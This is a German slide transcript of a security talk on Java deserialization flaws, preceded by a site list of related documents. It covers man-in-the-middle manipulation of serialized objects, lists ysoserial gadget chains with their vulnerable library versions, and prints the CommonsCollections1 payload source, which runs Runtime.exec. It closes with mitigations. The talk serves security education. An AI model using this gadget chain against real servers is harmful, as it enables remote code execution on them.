Sicherheitsprobleme bei Java Serialisierung

Ähnliche Dokumente
Objektserialisierung

Kapitel 8: Serialisierbarkeit

Informatik B. Vorlesung 14 Serialisierung, Autoboxing. Dr. Ralf Kunze

Themen. Web Service - Clients. Kommunikation zw. Web Services

Überblick. Java RMI Java Remote Method Invocation Marshalling und Unmarshalling Aufgabe 1. VS-Übung (SS12) Java RMI 1 1

Überblick. Java RMI Java Remote Method Invocation Marshalling und Unmarshalling Aufgabe 1. VS-Übung (SS16) Java RMI 1 1

Überblick. Beispiel: get()-methodenaufruf am VSBoard aus Übungsaufgabe 1. Analyse einer Methode: java.lang.reflect.method

II.4.2 Abstrakte Klassen und Interfaces - 1 -

Web-Testen mit JUnit und HttpUnit. Kai Schmitz-Hofbauer Lehrstuhl für Software-Technik Ruhr-Universität Bochum

II.4.5 Generische Datentypen - 1 -

Programmieren 2 11 Objekt-Serialisierung

Einführung: Verteilte Systeme - Remote Method Invocation -

Programmieren II. Remote Method Invocation (RMI) Heusch -- Ratz. Institut für Angewandte Informatik

Lebenszyklus von Threads

Enterprise JavaBeans Überblick

! 1. Unterklassen und Vererbung! 2. Abstrakte Klassen und Interfaces! 3. Modularität und Pakete. II.4.2 Abstrakte Klassen und Interfaces - 1 -

Java Remote Method Invocation (RMI)

Systemprogrammierung. Projekt: Java RMI. Wintersemester 2006 / 2007

9. Remote Method Invocation Grundlagen der Programmierung II (Java)

B Java RMI B.2 B.4. 1 Java. 1.2 Methoden. 1.1 Objekte (2) 1.1 Objekte. Objektorientierte Sprache. Klassenbeschreibung. Methode ist eine Art Funktion

Stefan Schlott, BeOne Stuttgart GmbH Java-Entwickler, Scala-Enthusiast, Linux-Jünger Seit jeher begeistert für Security und Privacy

Programmieren 2 Java Überblick

Remote- und Server-Programmierung. Dr. Wolfgang Süß Thorsten Schlachter

Programmieren II. Remote-Programmierung. Institut für Angewandte Informatik

Handbuch für die Erweiterbarkeit

Meta Programming and Reflection in Java

Interface. So werden Interfaces gemacht

Mobile und Verteilte Datenbanken

Ausnahmen. Annabelle Klarl. Einführung in die Informatik Programmierung und Softwareentwicklung

THE DE SERIAL KILLER SICHERHEITSPROBLEME BEIM SERIALISIEREN UND DESERIALISIEREN

Java I/O, Serialisierung und Netzwerkprogrammierung

JDBC. Allgemeines ODBC. java.sql. Beispiele

Klausur: Java (Liste P)

1 Motivation. 1 Motivation. Standard Middleware für objektorientierte Anwendungen. Motivation. Fragmentierte Objektmodel. Java RMI

Remote Method Invocation

Javaprogrammierung unter Notes

Java Reflection. Meta-Programmierung mit der java.lang.reflection API. Prof. Dr. Nikolaus Wulff

JUnit 4 Tutorial. Wolfgang Stöttinger

Institut für Programmierung und Reaktive Systeme. Java 6. Markus Reschke

8.1.5 Java RMI Remote Method Invocation

Properties und Proxies

Anleitung. Ein einfaches RMI-Beispiel. (ab Java 5.0) c Y. Pfeifer. (Juni 2014)

Programmieren 2 Selbststudium Semesterwoche 6

Programmiermethodik 1. Klausur

Das Interface-Konzept am Beispiel der Sprache Java

Java-Schulung Grundlagen

Verkettete Datenstrukturen: Listen

Aufgabe11. Methode test1. import java.util.hashmap; import java.util.arraylist; public class Aufgabe11 {

Java RMI Remote Method Invocation

Exceptions - Klausuraufgaben

Hashmap: Video Erklärung

JAVA für Einsteiger. Streams und Dateien. eden market Autor: Norman Lahme

Universität Karlsruhe (TH)

UNIVERSITÄT SIEGEN Fachbereich 12, Elektrotechnik und Informatik Fachgruppe Betriebssysteme / verteilte Systeme

Java Beans von Christian Beck-Wörner. Inhalt. Was ist ein Bean Konzept von Beans Entwicklung eines Beans Eigenschaften von Beans Testumgebung: BDK

Aufgabenblatt 4. Aufgabe 3. Aufgabe 1. Aufgabe 2. Prof. Dr. Th. Letschert Algorithmen und Datenstrukturen

Java Input/Output System (IO)

Programmieren II. Innere Klassen. Heusch 10, Ratz 5.2.1, Institut für Angewandte Informatik

Neben der Verwendung von Klassen ist Vererbung ein wichtiges Merkmal objektorientierter

Klausur zur Vorlesung Einführung in Verteilte Systeme WS 05/06 Prof. Dr. Odej Kao 3. Februar 2006

Mock-Objekte. Universität Karlsruhe (TH) Fakultät für Informatik Lehrstuhl für Programmiersysteme. Forschungsuniversität gegründet 1825

Objektorientierung II & die Java Klassenbibliothek. Kristian Bergmann und Arthur Lochstampfer

Vorkurs Informatik WiSe 15/16

Einstieg in die Informatik mit Java

FH D. Objektorientierte Programmierung in Java FH D FH D. Prof. Dr. Ing. André Stuhlsatz. Wiederholung: Gerüstbeispiel. Vererbungshierarchie: Typ 0

Lösungsvorschläge zur Nachklausur zum Kurs 1618 Sommersemester 2001 am

12 Abstrakte Klassen, finale Klassen und Interfaces

Java - Programmierung - Objektorientierte Programmierung 1

Transkript:

Sicherheitsprobleme bei Java Serialisierung

About Us Johannes Bär Technischer Auditor bei GAI NetConsult GmbH Schwachstellen-Assessments und Penetrationstests SCADA-Umfeld Webanwendungsprüfungen GAI NetConsult GmbH - unabhängiges Beratungs- und Entwicklungsunternehmen in Berlin mit den Schwerpunkten Informationssicherheit mit Fokus auf Sicherheitsmanagement, Sicherheitsauditierung und Sicherheit in der Prozessdatenverarbeitung Systementwicklung mit Fokus auf Sichere Prozessintegration und Sichere Branchenlösungen

Grundlagen Serialisierung bezeichnet Umwandlung eines Objektes in eine Byte- Sequenz Kann dann in Datenbanken oder Festplatten gespeichert oder über das Netzwerk übertragen werden Umkehrprozess nennt man Deserialisierung

Serialisierung in Java Wenn eine Klasse serialisierbar sein soll, muss das Java Interface java.io.serializable implementiert werden Marker Interface, dass der Klasse das Serialisierungs-Verhalten übermittelt Java.io bietet viele Packages an, die Serialisierung behandeln java.io.serializable java.io.externalizable ObjectInputStream ObjectOutputStream etc. Serialisierungs-Funktionalität wird häufig zur Kommunikation zwischen Java-Programmen (Thick-Client und Java Server) oder Webapplikationen (Cookies, Viewstate) verwendet

Sicherheitsprobleme serialisierter Kommunikation Sicherheitsvorfälle aus der Vergangenheit zeigen, dass Probleme dann entstehen, wenn Entwickler annehmen, dass serialisierte Objekte immer von einem vertrauenswürdigen Client bzw. Server stammen Übertragung unter Verwendung von serialisierten Objekten generell als sicher zu betrachten ist Bei Vorliegen der Klassendefinition des serialisierten Objektes lassen sich diese auch durch Man-in-the-Middle verändern und so Tests gegen den Server durchführen Injection-Angriffe Etc.

MitM/Manipulation von Java- Objekten Werkzeug tcpproxy (Autor René Werner) erlaubt durch Erweiterung das Manipulieren von serialisierten Java Objekten (Erweiterungsautor Jon Barg) +---------+ +--> BurpSuite+--+ +---------+ V +----------------+ +--------+--+ +-----------+ +-----------+ Java ThickClient+--> 1. tcpproxy 2. tcpproxy+---> Java Server +----------------+ +-----------+ +-----------+ +-----------+ tcpproxy stellt Java-Objekt in XML-Struktur dar und leitet an dann an einen darstellenden Proxy wie z.b. BurpSuite weiter, wo sie menschenlesbar ist und problemlos verändert werden kann Demo Time!

Generische Java Object Serialization Schwachstelle Ende 2015 wurden fundamentale Schwachstellen im Prinzip der Java Object Serialisierung thematisiert (Probleme waren im Grunde schon lange bekannt) Diese Probleme können generisch zur Ausführung von Code ausgenutzt werden WebSphere, Jenkins, Jboss, OpenNMS, WebLogic etc. Viele weitere folgen bis heute Demo Time!

Generische Java Object Serialization Schwachstelle Problem: ALLE Java-Klassen, die sich im Klassenpfad befinden und das Interface java.io.serializable implementiert haben, werden vom Server automatisch beim Empfang des entsprechenden Objekts deserialisiert Diese Klassen müssen NICHT durch das Statement import importiert werden Eigentlich eindeutiger Typecast im Code bedeutet NICHT, dass auch nur diese Art von Objekten verarbeitet werden

Generische Java Object Serialization Schwachstelle InputStream istream = this.socket.getinputstream(); ObjectInputStream oistream = new ObjectInputStream(iStream); this.payload = (TcpPayload) oistream.readobject(); Selbst wenn ObjectInputStream ein serialisiertes Objekt als TcpPayload erhält, versucht Java anhand des Namens diese Klasse im Klassenpfad zu finden und automatisch dessen readobject()-methode auszuführen, um damit den Bytestrom des Objekts zu deserialisieren Im oben aufgeführten Beispiel würde die readobject()-methode einer andere Klasse als TcpPayload ausgeführt werden, wenn sie vorhanden ist. Der versuchte Typecast auf die Klasse TcpPayload würde fehlschlagen, wenn es sich um eine andere Klasse handelt. readobject() der anderen Klasse würde dennoch ausgeführt werden!

Bekannte Klassen mit Angriffsgadgets Problem: es gibt viele Standardbibliotheken im Klassenpfad, die die Anforderungen (serializable, eigene readobject()-methode) erfüllen Nachfolgend alle bekannten Klassen, die Gadgets bieten, mit denen Code ausgeführt werden kann (Werkzeug: ysoserial) BeanShell1 [org.beanshell:bsh:2.0b5] CommonsBeanutilsCollectionsLogging1 [commons-beanutils:commons-beanutils:1.9.2, commonscollections:commons-collections:3.1, commons-logging:commons-logging:1.2 CommonsCollections1 [commons-collections:commons-collections:3.1] CommonsCollections2 [org.apache.commons:commons-collections4:4.0] CommonsCollections3 [commons-collections:commons-collections:3.1] CommonsCollections4 [org.apache.commons:commons-collections4:4.0] Groovy1 [org.codehaus.groovy:groovy:2.3.9] Spring1 [org.springframework:spring-core:4.1.4.release, org.springframework:spring-beans:4.1.4.release] All diese Klassen haben readobject() durch eine eigene überschrieben Beispiel CommonsCollections: Diese Klasse kann durch einen InvocationHandler Systemkommandos zur Ausführung bringen. Oft können auch diverse andere Aktionen im Kontext dieser Klasse getätigt werden.

Beispiel-Angriffscode durch CommonsCollection public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { public InvocationHandler getobject(final String command) throws Exception { final String[] execargs = new String[] { command }; // inert chain for setup final Transformer transformerchain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getruntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execargs), new ConstantTransformer(1) }; } final Map innermap = new HashMap(); final Map lazymap = LazyMap.decorate(innerMap, transformerchain); final Map mapproxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "itransformers", transformers); return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections1.class, args); }

ysoserial Zum Erstellen von serialisierten Angriffs- Objekten wurde das Werkzeug ysoserial entwickelt. Bietet die Möglichkeit, verschiedene angreifbare Klassen zu Codeausführungszwecken zu missbrauchen. Wichtig: auch weitere Klassen könnten als Gadgets missbraucht werden

Maßnahmen Unzureichende Maßnahme: Gadget-Klassen wie CommonsCollection löschen Es können sich viele Gadgets in diversen Klassen weiterhin befinden Whitelisting von Klassen, die deserialisiert werden dürfen Sollte eher als Notlösung verstanden werden, da um diese Whitelisting-Lösungen auch schon Wege gefunden wurden Oft sind Klassen auf der Whitelist, die selber wiederum Gadgets bieten Sinnvolle Lösung: nicht mehr unter Verwendung von serialisierten Java-Objekten kommunizieren Bisher schwer durchzusetzten

Quellen Jon Barg (https://github.com/jbarg) - Autor des Artikels Java Serialization in Ausgabe 85 des Security Journals der GAI NetConsult GmbH (https://www.gai-netconsult.de/index.php?id=securityjournal) und Entwickler des Java Serialization Moduls für das Werkzeug tcpproxy von René Werner (https://github.com/ickerwx/tcpproxy) Werkzeuge Ysoserial https://github.com/frohoff/ysoserial Ysoserial CommonsCollection1-Angriffsobjekt https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/commonscollections1.java Tcpproxy von René Werner https://github.com/ickerwx/tcpproxy Java Serialisierungs-Modul für tcpproxy von Jon Barg https://github.com/jbarg Generelle Quellen Foxglove Security über Java Serialization https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-yourapplication-have-in-common-this-vulnerability/ Grafik http://www.studytonight.com/java/images/serialization-deserialization.jpg